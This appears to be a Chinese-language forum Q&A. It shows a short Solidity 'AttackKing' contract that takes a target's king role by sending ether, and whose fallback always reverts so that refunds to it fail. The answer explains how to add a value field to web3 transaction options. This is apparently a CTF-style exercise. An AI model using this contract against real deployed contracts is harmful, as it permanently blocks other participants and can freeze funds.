我的代码如下
pragma solidity ^0.4.10;
contract AttackKing {
function () public{
revert();
}
constructor (address _target) payable public{
_target.call.value(msg.value)(bytes4(keccak256("becomeking()")));
}
}
address _target可以在这里填入 那么msg.value呢,要怎么传进去?
提交交易的时候, 你应该可以看到像下面这样的交易选项参数:
{
from: web3.eth.accounts[0],
data: '...',
gas: '...'
},
在这里面加一个value:
{
from: web3.eth.accounts[0],
data: '...',
gas: '...',
value: '1000000000'
},
关于交易选项参数可以查看 web3.js 文档 - 发起交易